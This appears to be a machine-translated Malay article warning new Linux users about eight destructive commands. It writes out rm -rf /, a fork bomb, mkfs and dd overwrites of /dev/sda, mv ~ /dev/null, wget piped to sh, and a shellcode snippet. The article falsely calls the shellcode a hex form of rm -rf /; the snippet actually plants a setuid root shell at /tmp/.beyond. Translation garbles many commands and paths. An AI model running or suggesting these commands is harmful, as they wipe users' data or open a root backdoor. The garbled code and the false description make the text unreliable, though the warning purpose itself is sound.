8 Perintah Mati Anda Tidak Perlu Dilaksanakan di Linux
Perintah terminal Linux berkuasa, dan Linux tidak akan meminta anda untuk pengesahan jika anda menjalankan perintah yang akan memecahkan sistem anda. Ia tidak biasa untuk melihat troll online mengesyorkan pengguna Linux baru menjalankan arahan ini sebagai jenaka.
Belajar arahan yang tidak boleh dijalankan dapat membantu melindungi anda dari trolls sambil meningkatkan pemahaman anda tentang cara kerja Linux. Ini bukan panduan lengkap, dan arahan di sini boleh disalin dengan pelbagai cara.
Perhatikan bahawa banyak arahan ini hanya akan berbahaya jika mereka diberi prefix sudo di Ubuntu - mereka tidak akan berfungsi sebaliknya. Pada pengagihan Linux yang lain, kebanyakan arahan mesti dijalankan sebagai root.
Kredit Imej: Skull dan Crossbones remixed dari Jason Ford di Twitter
rm -rf / - Menghapus Semuanya!
Perintah itu rm -rf / memadamkan semua yang mungkin, termasuk fail pada pemacu keras dan fail pada peranti media yang boleh dihubungi yang disambungkan. Perintah ini lebih mudah difahami jika ia pecah:
rm - Keluarkan fail berikut.
-rf - Jalankan secara rawak (hapuskan semua fail dan folder di dalam folder yang ditetapkan) dan alihkan semua fail tanpa memaksa anda.
/ - Beritahu rm untuk memulakan di direktori root, yang mengandungi semua fail pada komputer anda dan semua peranti media yang dipasang, termasuk saham fail jauh dan pemacu yang boleh tanggal.
Linux akan dengan senang hati mematuhi arahan ini dan memadamkan semuanya tanpa meminta anda, jadi berhati-hatilah apabila menggunakannya! Perintah rm juga boleh digunakan dalam cara lain yang berbahaya - rm -rf ~ akan memadam semua fail dalam folder rumah anda, sementara rm -rf. * akan memadam semua fail konfigurasi anda.
Pelajaran: Waspadalah rm -rf.
Menyamar rm -rf /
Berikut adalah coretan kod lain yang ada di seluruh web:
char esp [] __attribute__ ((seksyen (". teks"))) / * e.s.p
pelepasan * /
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
"\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
"\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
"\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00"
"Cp -p / bin / sh / tmp /.beyond; chmod 4755
/tmp/.beyond; ";
Ini adalah versi hex rm -rf / - melaksanakan arahan ini akan menghapuskan fail anda seolah-olah anda telah menjalankan rm -rf /.
Pelajaran: Jangan jalankan perintah-perintah yang menyamar, yang jelas tidak disengaja yang anda tidak faham.
: () : |: & ;: - Bom Fork
Baris berikut adalah fungsi bash yang mudah kelihatan, tetapi berbahaya:
: () : |: & ;:
Garis pendek ini mentakrifkan fungsi shell yang mencipta salinan baru itu sendiri. Proses ini terus mereplikasi dirinya sendiri, dan salinannya terus meniru diri mereka, dengan cepat mengambil semua masa dan memori CPU anda. Ini boleh menyebabkan komputer anda membeku. Ia pada dasarnya adalah serangan penafian perkhidmatan.
Pelajaran: Fungsi Bash adalah kuat, walaupun sangat pendek.
Kredit Imej: Dake di Wikimedia Commons
mkfs.ext4 / dev / sda1 - Memformat Hard Drive
The mkfs.ext4 / dev / sda1 arahan mudah difahami:
mkfs.ext4 - Buat sistem fail ext4 baharu pada peranti berikut.
/ dev / sda1 - Menentukan partition pertama pada pemacu keras pertama, yang mungkin digunakan.
Diambil bersama, perintah ini boleh bersamaan dengan menjalankan format c: pada Windows - ia akan menghapuskan fail pada partition pertama anda dan menggantikannya dengan sistem fail baru.
Perintah ini boleh datang dalam bentuk lain juga - mkfs.ext3 / dev / sdb2 akan memformat partition kedua pada pemacu keras kedua dengan sistem fail ext3.
Pelajaran: Berhati-hati menjalankan perintah secara langsung pada peranti cakera keras yang bermula dengan / dev / sd.
perintah> / dev / sda - Menulis secara langsung ke Hard Drive
The perintah> / dev / sda garis berfungsi sama - ia menjalankan arahan dan menghantar output arahan itu terus ke cakera keras pertama anda, menulis data terus ke pemacu cakera keras dan merosakkan sistem fail anda.
perintah - Jalankan arahan (boleh menjadi arahan apa pun.)
> - Hantar output arahan ke lokasi berikut.
/ dev / sda - Tulis output arahan terus ke peranti cakera keras.
Pelajaran: Seperti di atas, berhati-hati menjalankan arahan yang melibatkan peranti cakera keras bermula dengan / dev / sd.
dd if = / dev / random of = / dev / sda - Menulis Junk ke Hard Drive
The dd if = / dev / random of = / dev / sda baris juga akan menghapus data pada salah satu cakera keras anda.
dd - Lakukan penyalinan peringkat rendah dari satu lokasi ke lokasi lain.
jika = / dev / rawak - Gunakan / dev / rawak (data rawak) sebagai input - anda juga boleh melihat lokasi seperti / dev / zero (nol).
of = / dev / sda - Output ke cakera keras pertama, menggantikan sistem failnya dengan data sampah rawak.
Pelajaran: dd salinan data dari satu lokasi ke lokasi lain, yang boleh membahayakan jika anda menyalin terus ke peranti.
Kredit Imej: Matt Rudge pada Flickr
mv ~ / dev / null - Menggerakkan Direktori Rumah Anda ke Lubang Hitam
/ dev / null adalah lokasi khas lain - memindahkan sesuatu ke / dev / null adalah perkara yang sama seperti memusnahkannya. Fikirkan / dev / null sebagai lubang hitam. Pada dasarnya, mv ~ / dev / null menghantar semua fail peribadi anda ke dalam lubang hitam.
mv - Pindahkan fail atau direktori berikut ke lokasi lain.
~ - Merupakan keseluruhan folder rumah anda.
/ dev / null - Pindahkan folder rumah anda ke / dev / null, memusnahkan semua fail anda dan memadamkan salinan asal.
Pelajaran: Aksara ~ mewakili folder rumah anda dan memindahkan perkara ke / dev / null memusnahkannya.
wget http://example.com/something -O - | sh - Unduh dan Jalankan Skrip
Baris di atas memuat turun skrip dari web dan menghantarnya ke sh, yang melaksanakan kandungan skrip. Ini boleh berbahaya jika anda tidak pasti apa skrip itu atau jika anda tidak mempercayai sumbernya - jangan jalankan skrip yang tidak dipercayai.
wget - Muat turun fail. (Anda juga boleh melihat curl sebagai pengganti wget.)
http://example.com/something - Muat turun fail dari lokasi ini.
| - Paip (hantar) output perintah wget (fail yang anda muat turun) terus ke arahan lain.
sh - Hantar fail ke perintah sh, yang melaksanakannya jika skrip bash itu.
Pelajaran: Jangan muat turun dan jalankan skrip yang tidak dipercayai dari web, walaupun dengan arahan.
Ketahui apa-apa perintah berbahaya yang lain yang pengguna Linux baru (dan berpengalaman) tidak boleh dijalankan? Tinggalkan komen dan kongsikannya!